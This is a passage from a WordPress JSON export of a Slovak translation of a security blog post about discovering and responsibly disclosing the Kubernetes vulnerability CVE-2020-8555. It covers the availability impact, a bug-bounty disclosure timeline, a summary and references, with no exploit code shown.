poveren\u00ed.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Dostupnos\u0165<\/h3>\n<p>\nV\u0161etky scen\u00e1re aplik\u00e1cie exploitov spojen\u00e9 s integra\u010dn\u00fdmi vektormi <b>integrity (integrita)<\/b>, m\u00f4\u017eu by\u0165 pou\u017eit\u00e9 na de\u0161trukt\u00edvne akcie a vies\u0165 k tomu, \u017ee majstrovsk\u00e9 in\u0161tancie z klientskej perif\u00e9rie (alebo akejko\u013evek inej) bud\u00fa nedostupn\u00e9.<\/p>\n<p>Ke\u010f\u017ee sme sa nach\u00e1dzali v spravovanej K8s prostred\u00ed a posudzovali sme vplyv na integritu, je mo\u017en\u00e9 si predstavi\u0165 mno\u017estvo sc\u00e9narov, ktor\u00e9 by mohli ovplyvni\u0165 dostupnos\u0165. Ako doplnkov\u00e9 pr\u00edklady m\u00f4\u017eeme uvies\u0165 po\u0161kodenie datab\u00e1zy etcd alebo vykonanie kritick\u00e9ho API volania k Kubernetes.<\/p>\n<h2>Chronol\u00f3gia<\/h2>\n<p><\/p>\n<ul>\n<li> 6. decembra 2019: odoslanie hl\u00e1senia o zistenej zranite\u013enosti do MSRC Bug Bounty.<\/li>\n<li> 3. janu\u00e1ra 2020: tretia strana informovala v\u00fdvoj\u00e1rov Kubernetes, \u017ee pracujeme na probl\u00e9me v oblasti bezpe\u010dnosti. Po\u017eiadali ich, aby pova\u017eovali SSRF za vn\u00fatorn\u00fa zranite\u013enos\u0165 (in-core). Potom sme predlo\u017eili celkov\u00fa spr\u00e1vu s technick\u00fdmi podrobnos\u0165ami o zdroji probl\u00e9mu.<\/li>\n<li> 15. janu\u00e1ra 2020: poskytli sme v\u00fdvoj\u00e1rom Kubernetes technick\u00e9 a celkov\u00e9 spr\u00e1vy na ich po\u017eiadanie (cez platformu HackerOne).<\/li>\n<li> 15. janu\u00e1ra 2020: v\u00fdvoj\u00e1ri Kubernetes n\u00e1s informovali, \u017ee half-blind SSRF + CRLF injection pre predch\u00e1dzaj\u00face verzie sa pova\u017euje za vn\u00fatorn\u00fa zranite\u013enos\u0165. Ihne\u010f sme prestali analyzova\u0165 okraje in\u00fdch poskytovate\u013eov slu\u017eieb: prim\u00e1rnou pr\u00ed\u010dinou sa teraz zaoberal t\u00edm K8s.<\/li>\n<li> 15. janu\u00e1ra 2020: cez HackerOne sme dostali odmenu od MSRC.<\/li>\n<li> 16. janu\u00e1ra 2020: Kubernetes PSC (Product Security Committee) uznal zranite\u013enos\u0165 a po\u017eiadal n\u00e1s, aby sme ju udr\u017eali v tajnosti do polovice marca kv\u00f4li ve\u013ek\u00e9mu po\u010dtu potenci\u00e1lnych obet\u00ed.<\/li>\n<li> 11. febru\u00e1ra 2020: z\u00edskali sme odmenu od Google VRP.<\/li>\n<li> 4. marca 2020: cez HackerOne sme dostali odmenu od Kubernetes.<\/li>\n<li> 15. marca 2020: p\u00f4vodne napl\u00e1novan\u00e9 verejn\u00e9 odhalenie bolo odlo\u017een\u00e9 kv\u00f4li situ\u00e1cii s COVID-19.<\/li>\n<li> 1. j\u00fana 2020: spolo\u010dn\u00e9 vyhl\u00e1senie Kubernetes + Microsoft o zranite\u013enosti.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Pijeme pivo a jeme pizzu \ud83d\ude42<\/li>\n<li> Objavili sme vn\u00fatorn\u00fa zranite\u013enos\u0165 v Kubernetes, hoci sme to v\u00f4bec nemali v pl\u00e1ne.<\/li>\n<li> Vykonali sme dodato\u010dn\u00fa anal\u00fdzu v clustre r\u00f4znych poskytovate\u013eov cloudov\u00fdch slu\u017eieb a dok\u00e1zali sme zv\u00fd\u0161i\u0165 \u0161kody sp\u00f4soben\u00e9 zranite\u013enos\u0165ou, aby sme z\u00edskali \u010fal\u0161ie skvel\u00e9 bonusy.<\/li>\n<li> V tomto \u010dl\u00e1nku n\u00e1jdete mnoho technick\u00fdch podrobnost\u00ed. Radi ich s vami preberieme (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Uk\u00e1zalo sa, \u017ee v\u0161etky formality a zostavovanie spr\u00e1v zaberaj\u00fa ove\u013ea viac \u010dasu, ne\u017e sa o\u010dak\u00e1valo.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Odkazy<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google skupina kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. od prekladate\u013ea<\/h2>\n<p>\nPre\u010d\u00edtajte si tie\u017e na na\u0161om blogu:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">H\u013eadanie ch\u00fdb v Kubernetes je ofici\u00e1lne otvoren\u00e9<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Vy\u017earovanie mimo pod v Kubernetes prostredn\u00edctvom montovania logov.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ n\u00e1strojov na bezpe\u010dnos\u0165 Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sk\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"sk_SK\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sk\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026 | ProHoster","description":"Pr\u00edklad","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sk\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}